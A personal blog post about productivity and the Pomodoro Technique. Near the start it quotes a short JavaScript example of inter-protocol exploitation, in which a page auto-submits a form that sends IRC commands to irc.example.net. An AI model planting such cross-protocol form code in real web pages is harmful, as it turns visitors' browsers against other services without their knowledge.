Getting Shit Done: The Secret Power of Grey Hoodies

Now, I have always tried my best, and really punished myself for slacking off and not rocking at what I do. But this mostly consisted of getting awesome grades through university and being the best at the video game I was currently playing at the time (If you are interested, I was challenger [rank 3 at my peak] in league of legends, and was Masters in StarCraft). However, I always knew that I could be more productive, efficient and generally have more impact as a human. I also recognised that whilst I was decent from a technical standpoint, my people skills left a fair bit to be desired.

At the time, I was extremely introverted and kept to myself. Old Adam was the type of guy that got anxiety when they had to meet someone for lunch (. I had a couple of close friends, but mostly sat at home writing code, playing games,teaching myself artificial intelligence and claiming Inter-protocol exploitation bounties

For the non programmers, basically it is a class of security vulnerabilities that takes advantage of interactions between two communication methods on the internet. I enjoyed looking for these types of exploits.

Example Via Wikipedia

var form = document.createElement('form');

form.setAttribute('method', 'post');

form.setAttribute('action', 'http://irc.example.net:3367');

form.setAttribute('enctype', 'multipart/form-data'); var textarea = document.createElement('textarea');

textarea.innerText = "USER A B C D

NICK hibbdawg

JOIN #hackz

PRIVMSG #hackzorz: How do you turn this on?

"; form.appendChild(textarea);

document.body.appendChild(form);

form.submit();

Something that was important for me was that I wanted to maintain roughly the amount of code I got done. Which means, I needed to be generally more productive with my time so that I could fill it with more stuff.

How can we become more productive? After googling around, and finding a bunch of nonsense or common sense spiel about productivity, using in a way to up sell you to some 635359 key things eBook. It was clear that to do it, I would have to try another strategy. So, I decided to think about the small network I had — and see who in it is likely to know something about productivity or even better someone fighting the same ‘get shit done demon’ that I was.

Enter Dom Hutton

I had met Dominic about half a year before, we had shared frustration at a rather rowdy Wireless and Mobile Engineering university unit. When combined with an understandable, but thick accent of the lecturer it made it impossible to focus on the topic at hand.

At the time, Dom was working as a freelance developer and in the beginnings of building his initial client base, taking any contracts to build a network and generally being under the hammer as anyone who has built an initial client base from scratch would know. I was witness to him, head phones on wired in to all hours of the night on campus. He seemed to be the most outwardly productive person that I knew so, I decided to observe his methodology in order see if I could find any additional steps I could take to get more shit done.

I typically stayed late at university, making use of the quiet 24 hour access locations in order work. So it was easy to join Dom on his late night sessions.

Informally, Dom introduced me to the Pomodoro Technique. Which is a time management method developed by Francesco Cirillo in the late 1980s. The technique uses a timer to break down work into intervals, traditionally 25 minutes in length, separated by short breaks.

The basic algorithm is as follows

1. Decide on the task to be done

2. Set the timer for n minutes (traditionally 25)

3. Work on the task until the timer rings.

4. After the timer rings, put a check mark on a piece of paper

5. If you have less than 4 check marks, take a short break (3-5 minutes), then go to step 1

6. If you have have more than 4 check marks, take a longer break (15-30), go for a walk and reset your check marks to zero, then go to step 1.

For me, the results were astounding. I was flying through material at roughly double the pace, and generally doing more work. I found I needed a physical timer to make full use of it, and managed to pick up a cheap timer that stops beeping when you shake it.

The biggest take away for me, was how quickly I adopted the habit. The check marks became a combo that I didn’t want to break, at this point I had completely stopped playing video games as I felt I was getting my Skinner box, operant conditioning satisfaction from simply keep track of my check mark score. If I ruined my spree, I would aggressively scribble them all out and get back to work. If I got a high score, I would keep it aside.